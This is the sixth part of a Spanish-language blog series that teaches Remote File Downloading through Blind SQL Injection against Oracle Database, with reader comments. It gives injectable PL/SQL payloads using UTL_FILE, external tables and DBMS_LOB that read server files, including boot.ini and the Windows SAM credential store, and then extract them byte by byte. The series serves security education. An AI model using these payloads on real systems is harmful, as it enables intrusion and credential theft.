lunes, febrero 23, 2009

RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI de VI)

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

Remote File Downloading en Oracle Database

En los motores Oracle también es posible interactuar, como no, con los ficheros del sistema operativo. Oracle ofrece un driver, para exportación y carga masiva de datos, conocido como Oracle Loader y dispone paquetes de gestión de ficheros en el sistema operativo como UTL_FILE o DBMS_LOB con funciones y procedimientos para leer los datos del fichero y mucho más

Los objetos directorio

Oracle es un motor multiplataforma que lo mismo funciona en sistemas UNIX que Microsoft por lo que la interacción con el sistema de ficheros será dependiente de la arquitectura del sistema sobre el que corra. Para evitar que los códigos creados en PL/SQL se vean especialmente afectados por una migración de una aplicación de una arquitectura a otra en Oracle se utilizan objetos directory.

Estos objetos son una representación virtual de una ruta física dentro del sistema operativo. El poder trabajar con estos objetos abstrae al resto de los códigos PL/SQL de las características propias de las arquitecturas UNIX o Microsoft. En caso de una migración de un sistema a otro bastaría con recrear las rutas en los objetos directorio.

CREATE DIRECTORY home AS 'c:\users\chema\porno';
CREATE DIRECTORY home AS ‘/home/chema/porno’;


De esta manera, independientemente del sistema operativo, todas las rutas que se refieran al sistema de ficheros se harán sobre el objeto home.

Los objetos directory están creados dentro de la base de datos y, como todos, tiene su lista de permisos que pueden ser configurados para el resto de usuarios.

GRANT READ, WRITE ON DIRECTORY home TO amigos_gurarros;

Estos objetos serán utilizados en las subsiguientes opciones de acceso a ficheros.

Volcado de fichero a tabla con paquete UTL_FILE

El paquete UTL_FILE es una utilería básica en Oracle que fue incluida a partir de las versiones 7.3.4. A lo largo de las versiones las funcionalidades se han ido mejorando hasta convertirse en un gestor de ficheros completo.

No es una opción desdeñable, por supuesto, pero necesita de la configuración de una variable de inicio que no suele estar configurada. Por defecto, este paquete solo puede acceder al sistema de ficheros marcado por la variable de arranque UTL_FILE_DIR. Si esta variable no tiene ningún valor asociado en las variables de arranque que se configuran en el archivo de inicio, entonces no podrá utilizarse la librería UTL_FILE. Si, por el contrario, tiene el valor “*” entonces se podrá a acceder a todos los ficheros del sistema operativo mediante una inyección en un procedimiento PL/SQL. Sin embargo, entre la no configuración de la variable o que se permita el acceso a todos los ficheros con el carácter asterisco se encuentra la posibilidad de acceder a algunas rutas del sistema de ficheros que estén en la variable UTL_FILE_DIR.

La inyección tiene que realizarse dentro de un bloque PL/SQL, es decir que la consulta inyectable esté entre BEGIN y END; para poder realizar la inserción multilínea y ahí haremos uso de SQL Dinámico para construir consultas DDL que nos permitan crear los objetos de tipo tabla, directorio y la invocación de procedimientos.

BEGIN consulta inyectable END;

La consulta inyectable bien podría estar en un procedimiento llamado desde la aplicación web, es decir, puede que la aplicación web llame al procedimiento listado con la siguiente consulta:

BEGIN listado(param) END;

Y que en el procedimiento listado se encuentre la consulta inyectable. Entonces se podrán ejecutar múltiples sentencias sql en una inyección.

El paquete UTL_FILE tiene un tipo de datos llamado File_Type para la gestión de ficheros y funciones de apertura, cierre de ficheros, lectura, escritura, borrado de ficheros, copia y renombrado de ficheros. Vamos, que sería posible crear hasta el Midnight Commander con estos componentes. Las principales funciones son:

- Utl_file.file_type: Variable de tipo fichero
- Utl_file.fclose(fichero): Cierra un fichero
- Utl_file.fclose_all: Cierra todos los ficheros abiertos.
- utl_file.fopen('home', 'fichero.txt', 'R'): Abrir fichero en modo R o W.
- utl_file.is_open(fichero): True si está abierto.
- utl_file.fcopy('home', 'p1.txt', 'home2', 'p2.txt'): copia un fichero.
- utl_file.fflush(fichero): Fuerza escritura del buffer
- utl_file.fgetattr('home', 'p1.txt', ex, flen, bsize): Obtener atributos.
- utl_file.get_line(fichero, v_linea): Lee una línea y la almacena en v_linea.
- utl_file.fremove('home', 'p1.txt'): Borra el fichero.
- utl_file.frename('home','p1.txt','home','p2.txt',TRUE): Renombrar fichero.
- utl_file.fseek(): Acceso directo o indexado.
- utl_file.getline(): Lee una línea en bytes.
- utl_file.getline_nchar(): Lee una línea en formato nchar.
- utl_file.get_raw(): Lectura en raw.
- utl_file.new_line(): Introduce una o varias líneas vacías.
- utl_file.put(fichero,var): Introduce la variable en el fichero.
- utl_file.putf(): Introduce con formato dentro del fichero.
- utl_file.put_line(): Introduce línea con retorno de carro.
- utl_file.put_nchar(): Introduce un nchar.
- utl_file.put_line_nchar(): Introduce un nchar con retorno de carro.
- utl_file.putf_nchar(): Introduce nchar con format.


Como se puede ver, la miríada de funciones disponibles si la variable UTL_FILE_DIR permite acceder al sistema de ficheros es tal, que se podría acceder a casi cualquier fichero inyectando un bloque PL/SQL. Algo así como el siguiente ejemplo:

; execute immediate 'Create Directory discoC As ''c:\'' '; end; --
; execute inmediate ‘Create table bootini (contador numeric, linea varchar2(4000))’; end; --
; execute immediate 'DECLARE fichero utl_file.file_type;v_linea varchar2(4000); v_counter numeric default 0;
BEGIN
fichero:=utl_file.fopen(‘discoC’,’boot.ini’);
IF utl_file.is_open(fichero) THEN
LOOP
BEGIN utl_file.get_line(fichero, v_linea); IF linea IS NULL THEN EXIT; END IF;
INSERT INTO bootini (contador,linea) VALUES (v_contador, v_linea); V_counter:=v_counter+1;
EXCEPTION WHEN NO_DATA_FOUND THEN EXIT;END;
END LOOP; COMMIT; END IF;
Utl_file.fclose(fichero); End;’’; end;--


Y una vez que está cargado el fichero en la tabla se procedería a extraer con un proceso de booleanización de la tabla. Calculando primero el número de filas que será el número mayor de counter. Después habrá que ha calcular la longitud de cada fila y para cada posición de la fila su valor ascii. Al terminar se debe borrar la tabla y el directorio.

Enlazado de fichero mediante External Tables y Oracle_loader

Una característica las últimas versiones de Oracle Database han sido las external tables. Este tipo especial de tablas permite que se cree una tabla pero que los datos de la misma no se encuentren en ningún tablespace sino en un fichero del sistema de archivos. De esta manera se podría enlazar cualquier fichero con una tabla y consultar el fichero sería lo mismo que consultar la tabla con un select. El proceso sería:

; execute immediate 'Create Directory discoC As ''c:\'' '; end; --
; execute immediate 'Create table bootini (datos varchar2(4000) ) organization external (TYPE ORACLE_LOADER default directory discoC access parameters ( records delimited by newline ) location (''boot.ini''))'; end;--


En este caso solo se puede accede a ficheros de tipo texto ya que se hace a través del driver Oracle_loader, pero, a diferencia de UTL_FILE esta función no está sujeta a la variable UTL_FILE_DIR con lo que a priori no hay ninguna restricción añadida por variables de inicio. Si bien, son necesarios los privilegios de creación de objetos y la cuenta de servicio con la que correo el servicio de la base de datos Oracle tiene que tener acceso a nivel de ficheros al archivo.

El proceso para terminar de traer el fichero sería similar al caso anterior. Booleanizar para averiguar el tamaño de las filas, el valor de los caracteres y al final borrar tabla y directorio temporal.

Acceso a ficheros binarios mediante el paquete DBMS_LOB

Para cuando se necesite acceder a ficheros binarios del sistema, como por ejemplo la sam de un sistema Microsoft Windows, podremos hacer uso de la biblioteca para Large Objects. En este caso, de forma similar a UTL_FILE, se crea un directorio y la tabla con una variable del tamaño del buffer de lectura. Después, haciendo uso de las funciones de lectura del fichero cargaremos la tabla.

; execute immediate 'Create Directory RutaSAM As ''c:\windows\repair'' '; end; --
; execute immediate 'Create table sam (datos BLOB )'; end; --
; execute immediate 'DECLARE l_bfile BFILE; l_blob BLOB;
BEGIN
INSERT INTO sam (datos) VALUES (EMPTY_BLOB()) RETURN datos INTO l_blob;
l_bfile := BFILENAME(''RutaSAM', ''sam'');
DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly);
DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile)); DBMS_LOB.fileclose(l_bfile);
COMMIT; EXCEPTION WHEN OTHERS THEN ROLLBACK; END;'; end; --


Con este procedimiento se podría cargar cualqueir fichero de cualquier tipo siempre que no superara el tamaño máximo del tipo BLOB, por lo que es una opción más recomendable que utilizar UTL_FILE. Además no tenemos la restricción de las variables de inicio.

Una vez cargado el fichero en la tabla, se podrá acceder a los datos mediante las funciones del paquete dbms_lob:

- Número de bytes: (select DBMS_LOB.getlength(datos) from sam) > valor_prueba
- Para cada byte: (select to_number(DBMS_LOB.substr(datos,1,1), 'XX') from sam) >valor_prueba

Saludos Malignos!

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

3 comentarios:

summun dijo...

Vaya currada de posts. Gracias por compartir tu trabajo y por las cañas el otro día!

;)

Pedro Pablo Rodríguez dijo...

que tal amigo! muy interesantes tus post, me dí una muy buena entretenida! :)

por cierto, una pregunta, quiero llegar un formulario en una pagina pero por carga masiva....

me podrias ayudar? no se por donde empezar! mediante qe metodo lo puedo hacer???

gracias y saludos desde mexico! :)

Anónimo dijo...

Muy muy interesante, muchas gracias!

Si no he entendido mal ... entonces, cuando hago insert en la tabla SAM(datos) éstos datos se convertirán en fichero dentro del filesystem, y así un PL/Sql pudiera leer el fichero para manejarlo?

Entrada destacada

Programa de Especialización "Inteligencia Artificial para Expertos en Ciberseguridad" 2ª Edición.

Hoy, en medio del verano, os traigo información de la 2ª Edición del   Programa de Especialización  de "Inteligencia Artificial para Ex...

Entradas populares